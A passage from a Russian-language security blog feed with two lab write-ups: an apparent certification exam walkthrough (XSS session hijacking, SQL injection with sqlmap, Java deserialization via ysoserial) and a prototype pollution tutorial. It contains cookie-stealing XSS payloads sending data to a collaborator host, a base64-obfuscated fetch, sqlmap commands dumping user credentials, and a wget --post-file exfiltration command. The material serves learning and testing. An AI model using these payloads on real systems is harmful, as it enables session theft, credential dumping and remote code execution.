&quot;-eval(atob(&quot;ZmV0Y2goYGh0dHBzOi8vY29sbGFib3JhdG9yLz94c3M9YCArIHdpbmRvd1siZG9jdW1lbnQiXVsiY29va2llIl0p&quot;))-&quot;</pre>
  <p id="1KSH">Данная полезная нагрузка работает корректно, и мы можем получить ответ на свой сервер. Для последующей эксплуатации копируем ссылку, содержащую нашу полезную нагрузку, и отправляем пользователю:</p>
  <figure id="O08m" class="m_original">
    <img src="https://img4.teletype.in/files/3d/d2/3dd21b26-c88e-429f-8a8d-7b1df02f4580.png" width="1004" />
  </figure>
  <p id="PpVr">В итоге мы получили сессионный идентификатор, который можно использовать для последующей эксплуатации приложения:</p>
  <figure id="GCn5" class="m_original">
    <img src="https://img3.teletype.in/files/68/fd/68fd1eb0-bcb6-4f97-b605-65ab75ab2799.png" width="1004" />
  </figure>
  <p id="CXR3">Воспользуемся CookieManager, расширением для Firefox, и изменим свой сессионный идентификатор на полученный:</p>
  <figure id="Fp3I" class="m_original">
    <img src="https://img4.teletype.in/files/f9/d8/f9d80224-5f55-4462-a6bc-070542a8503c.png" width="1004" />
  </figure>
  <figure id="BZ8N" class="m_original">
    <img src="https://img3.teletype.in/files/25/ca/25ca3166-91f4-4932-b914-588c9765a28e.png" width="1004" />
  </figure>
  <p id="Roag">Благодаря данной уязвимости мы получили доступ к пользователю carlos. Можно идти дальше.</p>
  <h4 id="qxUN">Этап 2. Повышение привилегий до уровня администратора</h4>
  <p id="CwVP">Воспользуемся советом из начала статьи и обратим внимание на новую функциональность, доступную от имени обычного пользователя. В данном случае появилась возможность воспользоваться <strong>Advanced search</strong>:</p>
  <figure id="MYWa" class="m_original">
    <img src="https://img1.teletype.in/files/84/56/8456664e-8ecd-4d83-b25f-1e938347da39.png" width="1004" />
  </figure>
  <p id="8IEa">Снова используем <strong>ActiveScan</strong>, и он находит уязвимость в параметрах данного поиска:</p>
  <figure id="j845" class="m_original">
    <img src="https://img4.teletype.in/files/3f/a3/3fa3cbef-0786-4fc0-99a4-c6084c20ba2a.png" width="1004" />
  </figure>
  <p id="bcxI"><strong>SQL-Injection — это процесс внедрения вредоносных запросов на языке SQL во входные данные, используемые веб-приложением для взаимодействия с базой данных. В результате можно получить доступ к конфиденциальным данным.</strong></p>
  <p id="i5Nz">При добавлении «кавычки» в данный параметр на сайте отображается ошибка, на основании которой мы можем сделать вывод о наличии SQL-запроса и потенциальном возникновении SQL-инъекции в данном месте приложения:</p>
  <figure id="oJU4" class="m_original">
    <img src="https://img2.teletype.in/files/53/e9/53e9e297-5157-4467-83c0-59c3a2a27157.png" width="1008" />
  </figure>
  <p id="luc8">Полезная нагрузка, позволяющая эксплуатировать данную уязвимость, выглядит так:</p>
  <pre id="x48m">(case when (ASCII(substring(version(),1,1))=103) then author else title end);</pre>
  <p id="aUW9"><strong>Данная полезная нагрузка сравнивает значение первого элемента слова в базе данных с таблицей ASCII. Приложение выполняет сортировку постов в другом порядке при корректной обработке запроса.</strong></p>
  <p id="e57B">Прочитать значение <strong>version()</strong> можно с помощью <strong>Burp Intruder</strong>. Указываем в нём две точки для перебора и выбираем атаку <strong>Cluster bomb</strong>:</p>
  <figure id="R5TO" class="m_original">
    <img src="https://img3.teletype.in/files/e3/7c/e37ce79e-acb7-4ef2-982c-45bb2a4e51ec.png" width="1004" />
  </figure>
  <p id="lbkP">Так как <strong>sqli</strong> возникает при сортировке постов на странице, воспользуемся <strong>Grep Extract</strong>, расположенным в настройках <strong>Intruder</strong>. Указываем место на странице, которое меняется при выполнении запроса:</p>
  <figure id="E6P1" class="m_original">
    <img src="https://img2.teletype.in/files/d7/6b/d76bacf3-8831-4d1f-ab3f-ab85e5178714.png" width="1004" />
  </figure>
  <p id="cEyM">После окончания атаки в ответах от сервера можно заметить разницу в положении постов. Таким образом, можно собрать значение <strong>version()</strong> и перевести его из <strong>ASCII</strong> в читабельный вид, чтобы узнать версию используемой базы данных:</p>
  <figure id="mgVc" class="m_original">
    <img src="https://img2.teletype.in/files/1a/17/1a178ec5-1b82-4c8c-8054-734057afed5e.png" width="1004" />
  </figure>
  <p id="aLni">Для постэксплуатации буду использовать инструмент <strong>sqlmap</strong>.</p>
  <p id="xCh2"><strong>Sqlmap — это инструмент с открытым исходным кодом, предназначенный для автоматизации тестирования на проникновение. Он специализируется на обнаружении и использовании уязвимостей SQL-инъекции, а также взломе серверов баз данных. Sqlmap включает в себя мощный механизм обнаружения уязвимостей и располагает разнообразными функциями для тестирования на проникновение. Этот инструмент позволяет решать задачи, от сбора информации о базах данных до выполнения команд в операционной системе через внеполосные подключения.</strong></p>
  <p id="iX8l">Команда для идентификации уязвимости:</p>
  <pre id="FkAj">sqlmap &#x27;https://0a3300f10317f23b8064f3cd00e40013.web-security-
academy.net/advanced_search?SearchTerm=1&amp;organize_by=1&amp;blogArtist=&#x27; --
headers=&#x27;Cookie:session=ZPXkkGX9QbDGcJoYlNpfqcobNfnkUCUL&#x27; -p &#x27;organize_by&#x27; -dbms 
postgresql --technique E --level 5</pre>
  <figure id="O7X3" class="m_original">
    <img src="https://img4.teletype.in/files/ba/47/ba47413d-f64a-4e54-b484-bd34b0bc8f96.png" width="1004" />
  </figure>
  <p id="tlcG">Для получения пароля администратора добавляем к основной команде несколько флагов для <strong>sqlmap</strong>:</p>
  <pre id="0Mkl">sqlmap &#x27;https://0a3300f10317f23b8064f3cd00e40013.web-security-
academy.net/advanced_search?SearchTerm=1&amp;organize_by=1&amp;blogArtist=&#x27; --
headers=&#x27;Cookie:session=ZPXkkGX9QbDGcJoYlNpfqcobNfnkUCUL&#x27; -p &#x27;organize_by&#x27; -batch 
-D public -T users –-dump</pre>
  <figure id="EJEk" class="m_original">
    <img src="https://img4.teletype.in/files/73/c9/73c9653c-2ebf-4110-8da6-0a05e7979f99.png" width="1004" />
  </figure>
  <p id="5wI5">В итоге мы получаем учетные данные администратора и можем переходить к поиску третьей уязвимости данного приложения.</p>
  <h4 id="mciR">Этап 3. Чтение файла /home/carlos/secret</h4>
  <p id="rhUc">На данном этапе я воспользовался еще одним советом — не зацикливаться и обращать внимание на всё новое, что появляется в приложении. В данном случае единственное, что обновилось в приложении, — это сериализованный объект в файлах cookie на теперь доступной странице Admin Panel.</p>
  <p id="Uv1J"><strong>ActiveScan</strong> в это время подтверждает наличие уязвимости:</p>
  <figure id="nFNw" class="m_original">
    <img src="https://img1.teletype.in/files/85/85/858502ec-f5e8-47e2-b787-da3fcec93ae3.png" width="1004" />
  </figure>
  <p id="5Jk7"><strong>Сериализация представляет собой процесс преобразования структуры данных в последовательность байтов. Противоположной операцией к сериализации является десериализация, которая заключается в восстановлении структуры данных из этой последовательности байтов.</strong></p>
  <p id="wz7R">Для эксплуатации данной уязвимости советую использовать <strong>Java Deserialization Scanner</strong>:</p>
  <figure id="p0rO" class="m_original">
    <img src="https://img3.teletype.in/files/e1/20/e120eb6b-450b-459c-af32-2b6797415381.png" width="827" />
  </figure>
  <p id="Ojid"><strong>Java Deserialization Scanner — это расширение Burp Suite, которое дает возможность обнаруживать уязвимости Java-десериализации. Оно добавляет проверки как в активный, так и в пассивный сканер, а также может быть использовано в ручном режиме.</strong></p>
  <p id="G8HC"><strong>Это расширение позволяет обнаружить и использовать уязвимости Java-десериализации с различными кодировками (Raw, Base64, Ascii Hex, GZIP, Base64 GZIP).</strong></p>
  <p id="e9ZF"><strong>Нюанс по работе Java Deserialization Scanner: для корректной работы данного расширения вам необходимо установить jdk8.</strong></p>
  <p id="HE8G"><strong>Также вам понадобится установить Ysoserial — инструмент, который позволяет генерировать полезные нагрузки, эксплуатирующие небезопасную десериализацию объектов Java.</strong></p>
  <p id="JV4d">Используем следующую полезную нагрузку в <strong>Java Deserialization Scanner</strong> для эксплуатации команды <strong>ysoserial</strong> в <strong>Java</strong>:</p>
  <pre id="aj0i">CommonsCollections6 &#x27;wget http://Collaborator.net --post-file=/home/carlos/secret&#x27;</pre>
  <p id="cJOh">Это позволит получить удаленное выполнение кода (RCE) при десериализации нагрузки на целевой системе.</p>
  <p id="xSHK">Используем вкладку Exploiting, на которой указываем место нашего сериализованного объекта, команду для чтения файла и выставляем нужные кодировки:</p>
  <figure id="Jr8z" class="m_original">
    <img src="https://img4.teletype.in/files/32/05/3205cc0d-968a-4216-9aee-be2f997ac081.png" width="1004" />
  </figure>
  <p id="FJol">Получаем флаг на collaborator:</p>
  <figure id="JhxY" class="m_original">
    <img src="https://img2.teletype.in/files/52/57/52573625-b993-4d50-aa06-ed07fa96867f.png" width="819" />
  </figure>
  <h2 id="CiQP">Machine2</h2>
  <h4 id="IRjZ">Этап 1. Получение доступа к учетной записи пользователя с низким уровнем привилегий</h4>
  <p id="4Z2j">Во второй лабораторной также первым делом проверяем функциональность поиска с помощью встроенного сканера.</p>
  <p id="F881"><strong>Identificate. Active Scan. </strong></p>
  <p id="1z8a">Отправляем в <strong>ActiveScan</strong> запрос для использования поиска по странице, и он находит <strong>XSS</strong>:</p>
  <figure id="opi6" class="m_original">
    <img src="https://img2.teletype.in/files/da/91/da91d372-5643-404a-8859-d2e8d52f5110.png" width="1004" />
  </figure>
  <p id="Nzsc">Для того чтобы обойти ограничения, воспользуемся полезной нагрузкой:</p>
  <pre id="4pzb">\\&quot;-alert&#x60;1&#x60;}//</pre>
  <figure id="26nD" class="m_original">
    <img src="https://img1.teletype.in/files/45/f6/45f6685b-99f9-42e3-becf-d149bb48fcee.png" width="1004" />
  </figure>
  <p id="qhMW">Для кражи сессионного идентификатора необходимо решить проблему с подбором полезной нагрузки, так как в данном случае блокируется вхождение символов <strong>()</strong>.</p>
  <p id="WhfO">Полезная нагрузка, которая помогает распечатать <strong>cookie</strong>:</p>
  <pre id="ytIi">\\&quot;-prompt&#x60;${document.cookie}&#x60;}//</pre>
  <p id="Weav">Но с ней мне не удалось подобрать возможность захвата сессии. Изучив возможные обходы фильтрации, я подобрал полезную нагрузку, позволяющую обойти фильтрацию скобок:</p>
  <pre id="jRWQ">\\&quot;-setTimeout&#x60;alert\x28document.cookie\x29&#x60;}//</pre>
  <p id="xAYB">Захват сеанса можно осуществить с помощью полезной нагрузки на первой уязвимой машине, однако необходимо исправить вхождения скобок:</p>
  <pre id="3Cdp">\\&quot;-setTimeout&#x60;fetch\x28&#x27;https://collaborator/jsonc=&#x27;+document.cookie\x29&#x60;}//</pre>
  <p id="Upkj">В итоге у нас получается обойти фильтрацию. Добавляем полезную нагрузку в ссылке на exploit-server и получаем сессионный идентификатор пользователя в приложении:</p>
  <figure id="yIrQ" class="m_original">
    <img src="https://img1.teletype.in/files/87/f9/87f91a5e-d7de-4029-9fd0-ebfa28ffd365.png" width="1004" />
  </figure>
  <figure id="jMIO" class="m_original">
    <img src="https://img1.teletype.in/files/c0/d5/c0d53dc0-810d-4ae4-a5d5-1efb465e11a7.png" width="1004" />
  </figure>
  <p id="o3Mx">Меняем свой сессионный идентификатор на полученный с помощью <strong>CookieManager</strong>, как в первой лабораторной, и переходим к следующему этапу.</p>
  <h4 id="hzRG">Этап 2. Повышение привилегий до уровня администратора</h4>
  <p id="gX8J">Здесь нас снова встречает функциональность расширенного поиска:</p>
  <figure id="TIWo" class="m_original">
    <img src="https://img3.teletype.in/files/eb/35/eb356fef-bffb-45f3-9adb-8b801f3693df.png" width="1004" />
  </figure>
  <p id="0qYD">Воспользуемся сканером для поиска уязвимости и узнаем, что здесь снова <strong>SQL Injection</strong>:</p>
  <figure id="J2q7" class="m_original">
    <img src="https://img1.teletype.in/files/c7/03/c7030af6-74a7-40ca-854e-96f83378bc1e.png" width="1004" />
  </figure>
  <p id="GgsK">На этот раз необходимо обойти еще и <strong>WAF</strong>. Попробуем сразу перейти к эксплуатации с помощью <strong>sqlmap</strong>:</p>
  <pre id="5pT8">sqlmap &#x27;https://0ad6004b0366230683962d2b00c10004.web-security-
academy.net/filtered_search?find=qweqwe&amp;organize=5&amp;order=&amp;BlogArtist=&#x27; --
headers=&#x27;Cookie:session=Il6QXQ1lvrgDF6w6Pl2wg6FuteDaRmXP&#x27; --dbms postgresql -p 
&#x27;order&#x27; --level 5  --flush-session --random-agent --technique E</pre>
  <figure id="N1NN" class="m_original">
    <img src="https://img1.teletype.in/files/81/c3/81c350b3-d1b3-474a-9f5b-e9c237aae664.png" width="1004" />
  </figure>
  <p id="Fzv4">Постэксплуатация данной уязвимости с помощью <strong>sqlmap</strong> не вызывает трудностей, поэтому получить учетные данные можно так же, как и в первой машине:</p>
  <figure id="BMa8" class="m_original">
    <img src="https://img1.teletype.in/files/8a/fd/8afd871c-ba62-40eb-99ba-b3f5a8330fd8.png" width="1004" />
  </figure>
  <h4 id="flz9">Этап 3. Чтение файла /home/carlos/secret</h4>
  <p id="hWvn">Здесь встречается такая же уязвимость, связанная с <strong>Java Deserialization</strong>. Этапы эксплуатации уже были продемонстрированы, но здесь я попробую подробнее рассказать про <strong>Java Deserialization Scanner</strong>.</p>
  <p id="M8AA"><strong>Данный плагин включает в себя три отдельных компонента:</strong><br /> <strong>1. Интеграция с активным и пассивным сканером Burp Suite.</strong><br /> <strong>2. Ручной тестер для обнаружения уязвимостей десериализации Java в пользовательских точках вставки.</strong><br /> <strong>3. Инструмент <a href="https://github.com/frohoff/ysoserial" target="_blank">Ysoserial</a>, который использует уязвимости десериализации Java [frohoff ysoserial].</strong></p>
  <p id="MJ4e"><strong>Такую уязвимость также можно выявить с помощью функционала ActiveScan.</strong></p>
  <p id="C82P"><strong>В сканере предусмотрены полезные нагрузки двух типов:</strong><br /> <strong>1. Полезные нагрузки, которые выполняют синхронную функцию sleep, чтобы проверить уязвимость на основе времени ответа от сервера.</strong><br /> <strong>2. Полезные нагрузки, которые разрешают DNS, чтобы проверить уязвимость с помощью Burp Suite Collaborator, интегрированного в Burp Suite.</strong></p>
  <p id="AjOZ"><strong>Эксплойт генерируется с помощью инструмента ysoserial, который создает необходимые полезные нагрузки. Каждый CommonsCollection имеет свою вариацию эксплойта.</strong></p>
  <p id="ixAJ">Для поиска точки входа и определения уязвимости <strong>Java</strong> я также использовал <strong>ActiveScan</strong>:</p>
  <figure id="6sWC" class="m_original">
    <img src="https://img1.teletype.in/files/09/6f/096fef5b-9f63-428c-ad3d-521e53e9635e.png" width="1004" />
  </figure>
  <p id="2WBb">Нам нужно идентифицировать и определить, как конкретно работает уязвимость и какая полезная нагрузка нужна — это можно сделать с помощью встроенного в расширение сканера. В нашем случае уязвимость связана с <strong>DNS (JRE only)</strong>:</p>
  <figure id="T9SS" class="m_original">
    <img src="https://img3.teletype.in/files/6b/af/6baf586a-8721-404b-90a9-493c4381920c.png" width="1004" />
  </figure>
  <p id="FNKB">Эксплуатируем уязвимость таким же образом, как и ранее, и получаем финальный флаг:</p>
  <figure id="LXSb" class="m_original">
    <img src="https://img3.teletype.in/files/2f/fa/2ffafc88-10b8-48b0-ab96-b780470a7f6f.png" width="1004" />
  </figure>
  <figure id="wjah" class="m_original">
    <img src="https://img3.teletype.in/files/2c/e2/2ce27d39-6c80-436c-913e-8ecba054b769.png" width="1004" />
  </figure>
  <p id="A6IL">На этом экзамен окончен.</p>
  <figure id="bYr2" class="m_original">
    <img src="https://img2.teletype.in/files/18/bf/18bf241a-fe85-411a-81e4-b4a86081763d.png" width="1004" />
  </figure>
  <h2 id="pGc8">Финал</h2>
  <p id="8uas">Примерно так сдается экзамен. Буду рад, если мой опыт поможет вам успешно пройти сертификацию :)</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/Dirty-Java-Script-Prototype-Pollution-02-22</guid><link>https://teletype.in/@wr3dmast3r/Dirty-Java-Script-Prototype-Pollution-02-22?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/Dirty-Java-Script-Prototype-Pollution-02-22?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>Dirty JavaScript — Prototype Pollution</title><pubDate>Sat, 02 Mar 2024 23:34:06 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/5e/40/5e408725-9a58-468d-a037-c10b63a4426f.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/1c/e1/1ce189d0-6572-4339-a112-661e107bb26c.png"></img>Сегодня я расскажу про такую уязвимость, как загрязнение прототипа. Мы ознакомимся с практическим примером применения этой уязвимости в лабораторной, а также рассмотрим некоторые утилиты для её поиска.]]></description><content:encoded><![CDATA[
  <figure id="yMia" class="m_column">
    <img src="https://img2.teletype.in/files/1c/e1/1ce189d0-6572-4339-a112-661e107bb26c.png" />
  </figure>
  <p id="RnRd">Сегодня я расскажу про такую уязвимость, как загрязнение прототипа. Мы ознакомимся с практическим примером применения этой уязвимости в лабораторной, а также рассмотрим некоторые утилиты для её поиска.</p>
  <p id="PL6R">Перед тем, как мы приступим к поиску уязвимостей загрязнения прототипа, очень важно разобраться, как работает данная уязвимость и причём тут объекты <strong>JavaScript</strong>.</p>
  <p id="9mtb">В идеале вам необходимо понимать азы языка <strong>JavaScript</strong>, так как без знаний языка довольно трудно понять, почему данная уязвимость работает именно так.</p>
  <p id="UcQP">Но даже если у вас недостаточно знаний самого языка, я постараюсь дать наиболее понятное представление о <strong>Prototype Pollution</strong>.</p>
  <h3 id="Теория">Теория</h3>
  <p id="q5A1">Для начала зайдём в консоль нашего браузера, в которой можно исполнить любой <strong>JS</strong>, и познакомимся с тем, что такое объект.</p>
  <p id="7LjI">Каждый объект в <strong>JS</strong> имеет по умолчанию прототип, который наследуется от другого прототипа, общего для всех объектов в <strong>JS</strong>.</p>
  <p id="Bp6S">Объект в <strong>JS</strong> представляет собой комбинацию ключа и значения. Это очень похоже на словари в <strong>Python</strong> или какой-нибудь <strong>JSON</strong>.</p>
  <p id="XDIT">Инициализируем переменную <strong>user</strong>:</p>
  <pre id="3Kgd">var user = {username:&quot;wr3dmast3r&quot;, password:&quot;qwerty&quot;}
</pre>
  <figure id="16QA" class="m_column">
    <img src="https://img3.teletype.in/files/a6/5f/a65f934f-35d2-4de2-b02f-148a483a4772.png" />
  </figure>
  <p id="ZXBP">Поскольку мы просто сохранили значения этой переменной в ключ-значениях, мы можем обратиться к ним с помощью конструкции <strong>&lt;object&gt;</strong>.<strong>&lt;property&gt;</strong>, например:</p>
  <pre id="1MCo">user.username
</pre>
  <figure id="dRiL" class="m_column">
    <img src="https://img4.teletype.in/files/37/f7/37f77bbf-2f2e-45f1-976e-2fab85f80374.png" />
  </figure>
  <p id="kZan">Таким образом мы получаем доступ к конкретному свойству объекта.</p>
  <p id="WqZ1">Создадим еще одну переменную и добавим к ней свойство <strong>isAdmin</strong>:</p>
  <pre id="zPja">var admin = {username:&quot;admin&quot;,password:&quot;admin&quot;,isAdmin:true}
</pre>
  <p id="YhDu">Как можно заметить, теперь можно обратиться к полю <strong>isAdmin</strong> и убедиться, что пользователь является администратором:</p>
  <figure id="BG3n" class="m_column">
    <img src="https://img3.teletype.in/files/67/25/67256fd7-1abc-44c8-8cf0-78c81582b11b.png" />
  </figure>
  <p id="wTuI">Создадим ещё одного пользователя:</p>
  <pre id="WtE0">var user = {username:&quot;cherepawwka&quot;,password:&quot;qweqwe&quot;}
</pre>
  <p id="8J1V">Теперь у нас есть два объекта, в одном из которых есть дополнительный параметр для администратора, который имеет значение <strong>true</strong>.</p>
  <p id="xAm8">Предположим, что есть приложение, которое на самом деле проверяет какой пользователь имеет права администратора проверяя конкретное значение <strong>isAdmin</strong>.</p>
  <p id="JspD">В случае обращения к параметру <strong>isAdmin</strong> у обычного пользователя мы получаем неопределенное значение:</p>
  <figure id="By1A" class="m_column">
    <img src="https://img2.teletype.in/files/99/aa/99aa8e83-34e9-450f-bfbc-bcdf0bc2181b.png" />
  </figure>
  <p id="oScL">Теперь можно перейти к загрязнению прототипа, и начнем мы с того, что осознаем, что данная уязвимость возникает только тогда, когда злоумышленник может изменить или модифицировать значение своего прототипа.</p>
  <p id="C2vi">Попробую показать на примере.</p>
  <p id="hhM9">Обратимся к объекту <strong>user</strong>:</p>
  <figure id="eb2X" class="m_column">
    <img src="https://img1.teletype.in/files/82/45/82455b17-39be-4dfe-afd3-a0747d9bc946.png" />
  </figure>
  <p id="eB90">Мы видим, что в данном объекте существует только два параметра, и пользователь не является администратором</p>
  <p id="h2sI">У администратора в данном случае существует дополнительный параметр:</p>
  <figure id="L6D0" class="m_column">
    <img src="https://img4.teletype.in/files/bf/17/bf1776ef-db0d-47d6-a2f6-067f8e400268.png" />
  </figure>
  <h3 id="proto">proto</h3>
  <p id="viaY">Загрязним прототип объекта user с помощью <code>__proto__</code>:</p>
  <pre id="EL2B">user.__proto__.isAdmin = true
</pre>
  <figure id="M1uW" class="m_column">
    <img src="https://img3.teletype.in/files/a5/a5/a5a5e90f-9f83-4b73-86be-428681dce45a.png" />
  </figure>
  <p id="Z7h7">Как мы видим, в ответе фигурирует <strong>true</strong>, но если мы снова посмотрим на объект <strong>user</strong>, то заметим, что ничего не изменилось:</p>
  <figure id="0DjJ" class="m_column">
    <img src="https://img2.teletype.in/files/1a/ad/1aad8907-bec1-4d40-a3e3-75b3a7277993.png" />
  </figure>
  <p id="RmSj">Но если мы обратимся к свойству <strong>isAdmin</strong> данного объекта напрямую, то увидим наше переданное ранее значение:</p>
  <figure id="Xb3M" class="m_column">
    <img src="https://img4.teletype.in/files/35/5f/355fb4ab-26af-4397-bd5c-8be38f2da60b.png" />
  </figure>
  <p id="xdIY">И если раньше мы получали при таком запросе неопределенное значение, то теперь мы видим, что параметр имеет значение <strong>true</strong>. Это происходит потому, что мы добавили значение <strong>true</strong> свойства <strong>isAdmin</strong> в прототип, а когда вы добавляете свойство в прототип объекта <strong>JS</strong>, для другого объекта такого же класса, у которого это свойство не определено пользователем, <strong>JS</strong> будет пытаться найти его в свойстве <code>__proto__</code>.</p>
  <p id="j1f1">Если мы подробнее посмотрим на объект <strong>user</strong>, то увидим, откуда берется параметр <strong>isAdmin</strong> для этого пользователя:</p>
  <figure id="TAfd" class="m_column">
    <img src="https://img1.teletype.in/files/87/50/875050d9-5c4e-46a1-b567-d624b19dfe90.png" />
  </figure>
  <p id="7tvu">На скриншоте вы можете увидеть, что у нас есть дополнительное свойство, которое мы добавили внутрь прототипа.</p>
  <p id="Br8F">Сначала проверяется набор свойств, которые были заданы у объекта при инициализации. Если искомого свойства там нет, то <strong>JS</strong> будет заглядывать внутрь свойство прототипа.</p>
  <p id="BEjZ">В случае, если на сервере будет примерно такая логика, и будет существовать параметр, который мы сможем контролировать, то у нас появится возможность загрязнить прототип и авторизоваться как администратор.</p>
  <p id="AAQk">Именно поэтому данная уязвимость называется &quot;загрязнение прототипа&quot;, потому что мы модифицируем или искажаем значение предопределенных прототипов.</p>
  <h3 id="Практика">Практика</h3>
  <p id="Dc9o">Перейдем к практике и рассмотрим уязвимое приложение. На главной странице в лабораторной существуют несколько разделов — контакты, главная страница и продукты.</p>
  <p id="H8wR">Можно заметить, что каждая из страниц открывается под уникальным идентификаторов в параметре <strong>page</strong>:</p>
  <figure id="fsZz" class="m_column">
    <img src="https://img3.teletype.in/files/ad/5d/ad5dc998-247b-4aaa-9807-bdb694cb5faa.png" />
  </figure>
  <blockquote id="wK3j">Первое, на что стоит обратить внимание при поиске уязвимости, — это <strong>JS-скрипты,</strong> упомянутые в коде страницы.</blockquote>
  <figure id="yboY" class="m_column">
    <img src="https://img3.teletype.in/files/25/a8/25a884ec-00fb-437e-b05a-7dd8c4101e6b.png" />
  </figure>
  <p id="xu7r">Если мы проверим <strong>xss 0.3.3</strong>, то обнаружим, что существует известная уязвимость, которая приводит к <strong>DoS</strong>, что нам не подходит:</p>
  <figure id="e1Pa" class="m_column">
    <img src="https://img2.teletype.in/files/98/57/9857dfa9-da2d-41b8-a666-06e64a6d94b2.png" />
  </figure>
  <p id="oB8L">Для <strong>jquery 3.5.1</strong> есть потенциальный эксплойт в репозитории <strong>@blackfan</strong>. В нем можно найти много полезной информации о <strong>Prototype Pollution</strong>. Если вдруг вы когда-нибудь столкнетесь с этой уязвимостью, <a href="https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/jquery-query-object.md" target="_blank"><strong>данный репозиторий</strong></a>— первое, что необходимо посмотреть:</p>
  <figure id="yden" class="m_column">
    <img src="https://img4.teletype.in/files/74/59/7459f0be-8a55-4f37-9f18-558d2be77300.png" />
  </figure>
  <p id="Wtkw">Если посмотреть на уязвимости <strong>jQuery.query</strong> версии <strong>2.2.3</strong>, то можно найти упоминание уязвимости, связанной с <strong>Prototype Pollution</strong>:</p>
  <figure id="icpp" class="m_column">
    <img src="https://img3.teletype.in/files/ee/99/ee993439-6af4-404a-96e5-4bac7f7f9b89.png" />
  </figure>
  <blockquote id="ckRX">Имеющиеся компоненты не предоставляют возможности для эксплуатации уязвимости, поэтому стоит осмотреться ещё раз и обратить внимание на упущенные моменты.</blockquote>
  <p id="Sybm">При подробном изучении главной страницы, можно найти кастомный скрипт, который используется для отрисовки элементов:</p>
  <figure id="9J9e" class="m_column">
    <img src="https://img1.teletype.in/files/49/9f/499f281b-e14f-4463-9bed-507e27219cca.png" />
  </figure>
  <p id="Vz0l">Скрипт начинается с создания страниц объекта, а в переменной <strong>pages</strong> находятся 4 страницы с какой-то <strong>HTML-разметкой</strong>. Дальше в коде можно увидеть создание переменной <strong>pl</strong>, которая берет из <strong>GET-запроса</strong> значение <strong>page</strong>. Затем идет проверка существования этой страницы, и, если она существуют, то выдается соответствующее <strong>HTML-содержимое</strong>, иначе нас перенаправляет на первую страницу из списка (&quot;<strong>?page=1</strong>&quot;).</p>
  <p id="MLQd">Если вы раньше изучали <strong>DOM XSS</strong>, то одна из вещей, на которую стоит обратить внимание, — это использование <strong>innerHTML</strong>, которое потенциально может привести к уязвимости.</p>
  <p id="GT7y">Посмотрим на код внимательнее.</p>
  <p id="ULF3">1. Если мы вводим цифру 4, то нам выдается статический <strong>HTML-код</strong>, который представляет собой верхнюю панель на странице.</p>
  <p id="kbqD">2. Вторым параметром является <strong>pages[pl]</strong>, где <strong>pl</strong> — это <strong>GET-параметр</strong>, то есть тот ввод, который мы контролируем.</p>
  <p id="ECLH">Но даже если бы мы смогли что-то ввести в данный <strong>JS</strong>, добавленный фильтр помешал бы эксплуатации <strong>XSS</strong>.</p>
  <p id="jQif">Вернемся к коду на странице:</p>
  <figure id="SkLI" class="m_column">
    <img src="https://img2.teletype.in/files/9a/72/9a72a4dd-c2b2-46e2-ab30-7fa7ea9e0c04.png" />
  </figure>
  <blockquote id="UVnE">Мы можем попробовать добавить новую страницу или изменить уже существующую, чтобы разместить свою полезную нагрузку.</blockquote>
  <h3 id="Exploit">Exploit</h3>
  <p id="Toj6">Попробуем загрязнить прототип с помощью полезной нагрузки и вызовем страницу:</p>
  <pre id="Q5X0">__proto__[5]=payload&amp;page=5
</pre>
  <figure id="X7M0" class="m_column">
    <img src="https://img3.teletype.in/files/aa/ae/aaae75ac-c417-4516-88c9-817342891d47.png" />
  </figure>
  <p id="cVod">Добавим полезную нагрузку для исполнения уязвимости:</p>
  <pre id="tE6P">__proto__[5]=&lt;img+src%3dx+onerror%3dalert(document.domain)&gt;&amp;page=5
</pre>
  <p id="fYEP">Полезная нагрузка обрезается из-за фильтрации, последним шагом остается обойти её:</p>
  <figure id="nmT8" class="m_column">
    <img src="https://img1.teletype.in/files/c2/9b/c29b94ec-6e6d-4a26-af75-624477c5896d.png" />
  </figure>
  <p id="jurI">На этом этапе стоит вспомнить о ещё одном полезном свойстве прототипов — гаджетах, которые можно найти в разных библиотеках.</p>
  <blockquote id="cwCa">Передаю ещё раз привет моему кумиру <a href="https://t.me/BlackFan" target="_blank">@blackfan</a>, и обращаюсь к его <a href="https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/js-xss.md" target="_blank">репозиторию</a></blockquote>
  <figure id="Ca81" class="m_column">
    <img src="https://img1.teletype.in/files/c7/13/c71398ca-4f0e-44b9-95df-07d88fce1830.png" />
  </figure>
  <p id="lOvI">В описанном способе должно соблюдаться условие (должна быть установлена определенная настройка):</p>
  <pre id="vDyQ">options.whiteList = options.whiteList || DEFAULT.whiteList;
</pre>
  <p id="HXoC">Мы точно не знаем, какая настройка установлена в нашем случае, но благодаря загрязнению прототипа мы можем определить эту настройку и воспользоваться ею в наших целях.</p>
  <p id="qBTR">Модернизируем полезную нагрузку:</p>
  <pre id="SQPe">__proto__[5]=&lt;img+src=x+onerror%3Dalert(document.domain)&gt;&amp;__proto__[whiteList][img][0]=onerror&amp;page=5
</pre>
  <p id="4KI1">Сталкиваемся с тем, что она не отрабатывает:</p>
  <figure id="GVm7" class="m_column">
    <img src="https://img1.teletype.in/files/02/58/0258b975-681b-475f-9129-fccf49bf2754.png" />
  </figure>
  <p id="1xri">Методом проб и ошибок удалось найти рабочий тэг и обработчик событий:</p>
  <pre id="ZIDW">__proto__[5]=&lt;style+onload%3Dalert(document.domain)&gt;&amp;__proto__[whiteList][style][0]=onload&amp;page=5
</pre>
  <p id="MJIJ">И таким образом удается обойти валидацию и исполнить скрипт:</p>
  <figure id="FoTX" class="m_column">
    <img src="https://img2.teletype.in/files/91/c0/91c03c04-6dd1-426f-8b00-ecf787cd7fd3.png" />
  </figure>
  <h3 id="Инструменты">Инструменты</h3>
  <p id="7xuO">В основном при поиске уязвимостей я редко прибегаю к помощи сканеров, но есть несколько утилит, которым я отдаю предпочтение, когда захожу в тупик.</p>
  <h4 id="DOM-Invader">DOM Invader</h4>
  <p id="KxWl">Расширение практически сразу обнаруживает уязвимость в лабораторной, и от предложенного вектора можно развивать атаку:</p>
  <figure id="Ky5v" class="m_column">
